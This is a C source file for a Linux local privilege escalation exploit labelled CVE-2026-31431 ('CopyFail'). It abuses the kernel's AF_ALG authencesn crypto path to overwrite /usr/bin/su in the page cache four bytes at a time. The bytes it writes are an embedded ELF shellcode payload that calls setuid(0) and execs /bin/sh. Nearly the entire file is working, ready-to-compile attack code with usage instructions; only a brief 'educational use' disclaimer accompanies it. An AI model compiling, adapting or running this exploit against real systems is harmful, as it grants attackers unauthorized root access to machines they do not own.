/** * Title : CopyFail CVE-2026-31431 Linux LPE exploit * Date : 2026-05-15 * Author : Axura (@4xura) - https://4xura.com * * Description: * ------------ * Uses AF_ALG + authencesn(hmac(sha256),cbc(aes)) to turn a 4-byte * destination-side scratch write into a page-cache overwrite primitive. * The exploit places the controlled 4-byte value in AAD[4:8], splices a * file-backed page range into the AEAD request, triggers decrypt, and * repeats that primitive until the replacement payload is staged into the * target executable's page cache. * * Usage: * ------ * gcc -static -Wall -Wextra -O2 -o exploit exploit.c * ./exploit * DEBUG=1 ./exploit * ./exploit * * Notes: * ------ * Replace PAYLOAD_BYTES with the final replacement byte sequence to stage * into the target executable for arbitrary code execution. * The default target is /usr/bin/su. Authentication failure during recv() * is expected; the exploit only requires authencesn() to execute far enough * for the 4-byte scratch write to occur before the error is returned. * Provided for educational use. Use responsibly. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include enum { CRYPTO_AUTHENC_KEYA_UNSPEC, CRYPTO_AUTHENC_KEYA_PARAM, }; struct crypto_authenc_key_param { uint32_t enckeylen; }; static int debug_enabled; static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* * [ SHELLCODE ] * Replacement bytes to stage into the target executable. * * Each loop iteration below consumes 4 bytes from this array and turns them * into one page-cache overwrite primitive. */ static const unsigned char PAYLOAD_BYTES[] = { /* TODO: insert replacement bytes here (default: exec("/bin/sh)) */ 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; static const size_t PAYLOAD_LEN = sizeof(PAYLOAD_BYTES); static void open_authencesn_socket(int *tfm_fd, int *op_fd) { struct { struct rtattr rta; struct crypto_authenc_key_param param; unsigned char keys[16 + 16]; } keyblob = { .rta = { .rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)), .rta_type = CRYPTO_AUTHENC_KEYA_PARAM, }, .param = { .enckeylen = htonl(16), }, }; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "authencesn(hmac(sha256),cbc(aes))", }; memset(keyblob.keys, 0x00, sizeof(keyblob.keys)); *tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (*tfm_fd < 0) die("socket(AF_ALG)"); if (bind(*tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("bind(authencesn)"); if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_KEY, &keyblob, sizeof(keyblob)) < 0) die("setsockopt(ALG_SET_KEY)"); if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4) < 0) die("setsockopt(ALG_SET_AEAD_AUTHSIZE)"); *op_fd = accept(*tfm_fd, NULL, NULL); if (*op_fd < 0) die("accept"); } static void queue_aad(int op_fd, const unsigned char chunk[4]) { unsigned char aad[8] = { 'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3] }; unsigned char ivbuf[sizeof(struct af_alg_iv) + 16] = {0}; unsigned char cbuf[ CMSG_SPACE(sizeof(uint32_t)) + CMSG_SPACE(sizeof(ivbuf)) + CMSG_SPACE(sizeof(uint32_t)) ] = {0}; struct af_alg_iv *iv = (void *)ivbuf; struct iovec iov = { .iov_base = aad, .iov_len = sizeof(aad), }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cbuf, .msg_controllen = sizeof(cbuf), }; struct cmsghdr *cmsg; uint32_t op = 0; /* ALG_OP_DECRYPT */ uint32_t assoclen = 8; /* * AAD layout: * * +------+------+------+------+------+------+------+------+ * | A | A | A | A | w0 | w1 | w2 | w3 | * +------+------+------+------+------+------+------+------+ * * Bytes 4..7 become seqno_lo, which authencesn later writes. */ iv->ivlen = 16; cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(sizeof(op)); memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); cmsg = CMSG_NXTHDR(&msg, cmsg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_IV; cmsg->cmsg_len = CMSG_LEN(sizeof(ivbuf)); memcpy(CMSG_DATA(cmsg), ivbuf, sizeof(ivbuf)); cmsg = CMSG_NXTHDR(&msg, cmsg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN; cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen)); memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen)); if (sendmsg(op_fd, &msg, MSG_MORE) < 0) die("sendmsg(AAD)"); } static void splice_target_window(int file_fd, int op_fd, off_t target_offset) { int pipefd[2]; loff_t splice_off = 0; size_t splice_len = (size_t)target_offset + 4; /* * Imported layout: * * file[0 : target_offset] -> ciphertext region * file[target_offset : +4] -> preserved tag tail * * authsize = 4 makes those last 4 imported bytes sit exactly where * authencesn later performs its scratch write. */ if (pipe(pipefd) < 0) die("pipe"); if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0) die("splice(file -> pipe)"); if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0) die("splice(pipe -> AF_ALG)"); close(pipefd[0]); close(pipefd[1]); } static void trigger_decrypt(int op_fd, off_t target_offset) { size_t rx_len = (size_t)target_offset + 8; unsigned char *outbuf = malloc(rx_len); ssize_t n; if (!outbuf) die("malloc(recv)"); n = recv(op_fd, outbuf, rx_len, 0); if (debug_enabled && n < 0) printf(" [-] recv() returned: %s\n", strerror(errno)); free(outbuf); } static void overwrite_4_bytes(int file_fd, off_t target_offset, const unsigned char chunk[4]) { int tfm_fd, op_fd; if (debug_enabled) { printf("[+] overwrite @ 0x%llx: %02x%02x%02x%02x\n", (unsigned long long)target_offset, chunk[0], chunk[1], chunk[2], chunk[3]); } open_authencesn_socket(&tfm_fd, &op_fd); queue_aad(op_fd, chunk); splice_target_window(file_fd, op_fd, target_offset); trigger_decrypt(op_fd, target_offset); close(op_fd); close(tfm_fd); } int main(int argc, char **argv) { const char *target = "/usr/bin/su"; int file_fd; size_t i; if (getenv("DEBUG")) debug_enabled = 1; if (argc > 1) { static char path[256]; snprintf(path, sizeof(path), "/usr/bin/%s", argv[1]); target = path; } printf("[+] target : %s\n", target); printf("[+] payload : %zu bytes\n", PAYLOAD_LEN); printf("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n"); file_fd = open(target, O_RDONLY); if (file_fd < 0) die("open(target)"); for (i = 0; i < PAYLOAD_LEN; i += 4) overwrite_4_bytes(file_fd, (off_t)i, PAYLOAD_BYTES + i); close(file_fd); printf("[+] payload staged into page cache, executing target...\n"); execl("/bin/su", "su", NULL); die("execl(su)"); return 0; }